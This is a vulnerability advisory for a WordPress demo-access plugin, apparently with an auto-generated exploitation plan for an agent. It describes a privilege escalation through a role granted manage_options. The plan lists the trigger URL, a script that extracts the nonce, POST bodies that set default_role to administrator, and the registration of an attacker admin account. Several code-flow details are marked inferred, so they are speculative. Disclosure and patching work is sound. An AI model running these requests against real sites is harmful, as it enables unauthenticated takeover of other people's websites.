Backstage <= 1.4.2 - Unauthenticated Privilege Escalation via Permissive Demo Role Capabilities
Description
The Backstage - Customizer Demo Access plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This is due to the plugin assigning the `manage_options` capability to the `backstage_customizer_user` demo role, which is more permissive than necessary for Customizer-only demo access. This makes it possible for unauthenticated attackers to navigate beyond the Customizer and update arbitrary WordPress options such as `default_role`, leading to privilege escalation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-9842 (Backstage <= 1.4.2) ## 1. Vulnerability Summary The **Backstage – Customizer Demo Access** plugin (version <= 1.4.2) contains a privilege escalation vulnerability. The plugin's purpose is to provide a "Demo Mode" for the WordPress Customizer, allowing us…
Show full research plan
Exploitation Research Plan: CVE-2026-9842 (Backstage <= 1.4.2)
1. Vulnerability Summary
The Backstage – Customizer Demo Access plugin (version <= 1.4.2) contains a privilege escalation vulnerability. The plugin's purpose is to provide a "Demo Mode" for the WordPress Customizer, allowing users to preview changes. To facilitate this, it creates a dedicated role, backstage_customizer_user.
The security flaw exists because this role is granted the manage_options capability. While intended to allow Customizer access, manage_options is the most powerful capability in WordPress, typically reserved for Administrators. If the plugin allows unauthenticated visitors to trigger "Demo Mode" (setting their effective permissions to those of the backstage_customizer_user role), they can bypass the Customizer interface and access core WordPress administrative functions, such as updating arbitrary site options.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.phpor/wp-admin/options.php. - Vulnerability Trigger: A mechanism (likely a query parameter or cookie) that activates "Demo Mode" for unauthenticated visitors.
- Payload Parameter:
default_roleandusers_can_register. - Authentication Level: Unauthenticated.
- Preconditions: The plugin must be active, and "Demo Access" must be enabled (or triggerable via request).
3. Code Flow (Inferred)
- Role Creation: During plugin initialization or activation, the plugin calls
add_role( 'backstage_customizer_user', ..., array( 'manage_options' => true ) ). - Access Hook: The plugin likely hooks into
initorplugins_loadedto check for a demo access trigger (e.g.,$_GET['backstage_demo']or a specific cookie). - Privilege Elevation: If the trigger is detected, the plugin programmatically sets the current user to a dummy user with the
backstage_customizer_userrole or uses theuser_has_capfilter to grantmanage_optionsto the session. - The Sink: Because the visitor now effectively possesses
manage_options, WordPress core allows them to accessoptions.phpor thewp_ajax_update_optionsaction. - Exploitation: The attacker sends a request to update
default_roletoadministrator.
4. Nonce Acquisition Strategy
WordPress core protection for options.php and admin-ajax.php settings updates requires nonces (e.g., _wpnonce). In "Demo Mode," the plugin must expose the Customizer interface to the visitor. This interface likely enqueues scripts that contain valid nonces for the "demo user" session.
Strategy:
- Identify Trigger: Search the plugin source for where
backstage_customizer_useris used or where demo mode is toggled. (Inferred: Look forbackstage_demo=1or similar). - Create Page: Create a page containing a trigger or simply navigate to the site root with the demo parameter.
- Extract Nonces: Use
browser_evalto extract nonces from the global JavaScript scope.
Specific JavaScript Target (Inferred):
- Variable:
window.backstage_settings?.nonceorwindow.wp.customize.settings.nonce.
5. Exploitation Strategy
The goal is to update the site settings to allow anyone to register as an Administrator.
Step 1: Activate Demo Session and Extract Nonce
Request:
- Tool:
browser_navigate - URL:
http://[target-ip]/?backstage_demo=1(Targeting the demo trigger).
Extraction:
- Tool:
browser_eval - Script:
window._wpCustomizeSettings?.nonce || document.querySelector('input[name="_wpnonce"]')?.value
Step 2: Update WordPress Options
Once the demo session is active and a nonce is acquired, use the manage_options capability to change the default role.
Request:
- Tool:
http_request - Method:
POST - URL:
http://[target-ip]/wp-admin/options.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
option_page=general& action=update& _wpnonce=[EXTRACTED_NONCE]& users_can_register=1& default_role=administrator
Step 3: Register New Admin Account
Request:
- Tool:
http_request - Method:
POST - URL:
http://[target-ip]/wp-login.php?action=register - Body:
user_login=attacker_admin&user_email=attacker@example.com
6. Test Data Setup
- Install Plugin:
wp plugin install backstage --version=1.4.2 --activate - Configure Plugin: Ensure the "Demo Access" feature is enabled in the plugin settings (if it's not enabled by default).
- Verify Default State:
wp option get default_role(Should besubscriber).wp option get users_can_register(Should be0).
7. Expected Results
- The
options.phprequest should return a302 Redirectback to the general settings page, indicating success. - The WordPress site configuration will be modified such that any new user registration results in an Administrator account.
8. Verification Steps
After performing the HTTP exploit, verify the changes via WP-CLI:
- Check Registration Status:
wp option get users_can_register(Expected:1). - Check Default Role:
wp option get default_role(Expected:administrator). - Check New User:
wp user list(Confirmattacker_adminexists with theadministratorrole).
9. Alternative Approaches
- Direct AJAX: If
options.phpis blocked by additional security, tryadmin-ajax.phpwithaction=update-options.- Body:
action=update-options&option_page=default&users_can_register=1&default_role=administrator&_wpnonce=[NONCE]
- Body:
- Plugin Settings Abuse: Check if the plugin itself has a settings save function that doesn't properly validate which options are being saved (Mass Assignment). Search for
update_option($_POST['...'])within the plugin's own AJAX handlers.
Summary
The Backstage - Customizer Demo Access plugin (up to version 1.4.2) is vulnerable to privilege escalation because it assigns the highly privileged 'manage_options' capability to the 'backstage_customizer_user' demo role. Unauthenticated attackers can activate this demo session and use the inherited permissions to bypass the Customizer and modify arbitrary WordPress site options.
Security Fix
@@ -... -add_role( 'backstage_customizer_user', __( 'Backstage User', 'backstage' ), array( 'read' => true, 'manage_options' => true ) ); +add_role( 'backstage_customizer_user', __( 'Backstage User', 'backstage' ), array( 'read' => true, 'edit_theme_options' => true ) );
Exploit Outline
1. Access the target site with the demo trigger parameter (e.g., `?backstage_demo=1`) to initialize a session with the permissive demo role. 2. Extract a valid administrative nonce from the enqueued JavaScript settings or form elements in the demo interface. 3. Submit an unauthenticated POST request to `wp-admin/options.php` using the demo session and the extracted nonce to enable user registration and set the default role to 'administrator'. 4. Navigate to the registration page and create a new user account, which will be granted full administrative privileges by default.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.